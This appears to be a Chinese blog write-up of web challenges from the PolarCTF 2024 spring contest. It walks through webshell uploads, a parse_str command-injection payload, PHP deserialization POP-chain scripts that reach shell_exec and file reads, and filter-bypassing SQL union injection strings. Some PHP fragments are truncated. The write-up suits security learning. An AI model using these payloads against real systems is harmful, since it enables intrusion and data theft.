PolarCTF春季个人挑战赛 2024 WEB
uploader
题目直接给了源码,下面是经过本人注释后的代码
"; echo "文件类型: " . $_FILES["file"]["type"] . "
"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB
"; /*输出上传文件的信息*/ echo $sandBox; /*输出沙盒目录*/ } highlight_file(__FILE__);
由于该题没有给出文件上传方式,需要自己在本地写一个上传表单,由于本人还不会html的编写,故这里借用 Jay 17师傅的html
写好后上传一句话木马,随后根据给出的沙盒目录前往该文件,用蚁剑连接后找flag即可
覆盖
进题代码如下
{$result}"; } } else { exit('其实很简单!'); } }
看到parse_str函数,可知该题是变量覆盖,通过id使a[0] == ‘www.polarctf.com’,然后用cmd传入指令,最终的payload如下
?id=a[0]=www.polarctf.com&cmd=;tac f*
PHP反序列化初试
进题代码如下
name; } } class Evil{ public $evil; private $env; public function __toString() { $this->env=shell_exec($this->evil); return $this->env; } } if(isset($_GET['easy'])){ unserialize($_GET['easy']); }else{ highlight_file(__FILE__); }
简单的反序列化题,大致思路就是为了执行__toString()里面的shell_exec,我们执行需要Easy类中echo语句,依次触发__toString()魔术方法,具体脚本如下
name; } } class Evil{ public $evil = "cat /f*"; private $env; public function __toString() { $this->env=shell_exec($this->evil); return $this->env; } } $a = new Easy(); $a -> name = new Evil(); echo serialize($a);
需要注意的一点是由于该题中的env为private属性,查看flag的时候需要到源码中查看,如果想要直接回显到页面上的话需要将序列化串进行unlencode编码后再上传
机器人
看到这题目直接查看robots.txt,得到了前半部分flag,同时得到了一个disallow的路径,用dirsearch扫一下找到了flag.php,前往查看得到后半段flag
search
进题后是一个登录框,猜测是sql注入,经过测试后发现对空格和一些字段存在过滤,空格用/**/绕过,其他的用大小写绕过,
1'order/**/by/**/6# /*出现报错,说明共有5列*/ 1'/**/uNion/**/sEleCt/**/1,2,3,4,5# /*联合注入判断回显的位置*/ 1'/**/uNion/**/sEleCt/**/1,database(),version(),4,5# /*获取库名和版本号,库名为CTF,版本号为5.5.44-0ubuntu0.14.04.1-log*/ 1'/**/uNion/**/sEleCt/**/1,group_concat(table_name),3,4,5/**/From/**/information_schema.tables/**/Where/**/table_schema='CTF'# /*获取表名分别为Flag和Students*/ 1'/**/uNion/**/sEleCt/**/1,group_concat(column_name),3,4,5/**/From/**/information_schema.columns/**/Where/**/table_schema='CTF'/**/and/**/table_name='Flag'# /*获取字段名为Flag*/ 1'/**/uNion/**/sEleCt/**/1,group_concat(Flag),3,4,5/**/From/**/Flag# /*读取字段内容*/
file
题目说可以dirsearch一下,那么就扫一下试试,扫到了一个upload.php和uploaded/,upload.php是具体的上传页面,uploaded应该是文件上传路径。先直接上传php文件的一句话木马试试,在uploaded里发现没有上传成功,用bp抓包改一下文件类型试试,成功传入,然后蚁剑连接获取flag
PlayGame
进题代码如下
name."age:".$this->age."sex:".$this->sex; } public function setName($name){ $this->name=$name; } public function setAge($age){ $this->$age=$age; } public function setSex($sex){ $this->$sex=$sex; } } class PlayGame{ public $user; public $gameFile="./game"; public function openGame(){ return file_get_contents($this->gameFile); } public function __destruct() { echo $this->user->name."GameOver!"; } public function __toString(){ return $this->user->name."PlayGame ". $this->user->age . $this->openGame(); } } if(isset($_GET['polar_flag.flag'])){ unserialize($_GET['polar_flag.flag']); }else{ highlight_file(__FILE__); }
又是反序列化题目,大致思路就是通过.拼接字符串和echo输出字符串触发__destruct()魔术方法,最后使得file_get_contents()触发返回flag,poc如下
name."age:".$this->age."sex:".$this->sex; } public function setName($name){ $this->name=$name; } public function setAge($age){ $this->$age=$age; } public function setSex($sex){ $this->$sex=$sex; } } class PlayGame{ public $user; public $gameFile="./game"; public function openGame(){ return 1; //file_get_contents($this->gameFile); } public function __destruct() { echo $this->user->name."GameOver!"; } public function __toString(){ return $this->user->name."PlayGame ". $this->user->age . $this->openGame(); } } $a = new PlayGame(); $a -> user = new User(); $a -> user -> name = new User(); $a -> user -> name -> name = new PlayGame(); $a -> user -> name -> name -> gameFile = '/flag'; echo serialize($a);
另外一个需要注意的点是该处的参数含有下划线,直接通过polar_flag.flag无法传入,需要将下划线改成中括号(左),用polar[flag.flag传递才行。
csdn
进题后在源码中看到如下内容
然后又发现url处有xxs传参,直接用file协议进行文件读取,payload如下
file://flag/flag.txt
phar
进题源码如下
使用php伪协议读取funs.php,将得到的base64字段解密得到如下代码
" . $this->a . "destruct!"; } } class B { private $b = array(); public function __toString() { $str_array= $this->b; $str2 = $str_array['kfc']->vm50; return "Crazy Thursday".$str2; } } class C{ private $c = array(); public function __get($kfc){ global $flag; $f = $this->c[$kfc]; var_dump($$f); } }反序列化题目,最终要触发C类中__getf方法中的var_dump($$f);方法,形成变量覆盖,具体的poc如下
a = new B(); } public function __destruct() { echo "A->" . $this->a . "destruct!"; } } class B { private $b = array(); public function __construct() { $this->b = array("kfc" => new C()); } public function __toString() { $str_array= $this->b; $str2 = $str_array['kfc']->vm50; return "Crazy Thursday".$str2; } } class C{ private $c = array(); public function __construct() { $this->c = array('vm50'=>"flag"); } public function __get($kfc){ global $flag; $f = $this->c[$kfc]; var_dump($$f); } } $a = new A(); echo urlencode(serialize($a));由于改代码中存在具有private属性的对象,在反序列化时会出现无法复制的特殊字符,为了能正常传入,需要将其进行url编码或者将poc中的private全部改成public
PHP_Deserialization
进题得到的代码如下
night->hacker($this->night_arg); } } class Night { public function __call($name, $arguments) { echo "wrong call:" . $name . " arg:" . $arguments[0]; } } class Day { public $filename="/flag"; public function __toString() { $this->filename = str_replace("flag", "", $this->filename); echo file_get_contents($this->filename); return $this->filename; } } if (isset($_POST['polar'])) { unserialize(base64_decode($_POST['polar'])); } else { highlight_file(__FILE__); }又是反序列化的题目,入口应该是Polar类中的__wakeup()魔术方法,反序列化过程中如果没有改变O的个数该方法会被优先调用,同时该方法中调用了一个不存在的方法hacker(),由此就会触发Night类中的__call类魔术方法,同时该方法中的echo语句又可实现将类当成字符串调用,以此触发__toString()魔术方法,由于该方法中将flag替换成了空,我们可以尝试使用双写绕过,具体POC如下
night->hacker($this->night_arg); } } class Night { public function __call($name, $arguments) { echo "wrong call:" . $name . " arg:" . $arguments[0]; } } class Day { public $filename="/flflagag"; public function __toString() { $this->filename = str_replace("flag", "", $this->filename); echo file_get_contents($this->filename); return $this->filename; } } $a = new Polar(); $a->night = new Night(); $a->night_arg = new Day(); echo base64_encode(serialize($a));用post方法传入后在源码中即可得到flag
PolarOA(unsolved)
进题后是一个登录界面,尝试了一些sql注入,发现行不通,本想用bp抓包尝试一下弱口令的,但是在打包的时候看到了 rememberMe=deleteMe字段,可知是shiro的漏洞,于是用shiro工具开始爆破,先是爆破密钥,然后再爆破利用链,发现无法爆出利用链
挣扎了一番之后还是没思路,不会了,先留一下,日后再补上
Fastjson(unsolved)
好好好,又是折腾半天没弄出来的,摆了,日后再补上
还没有评论,来说两句吧...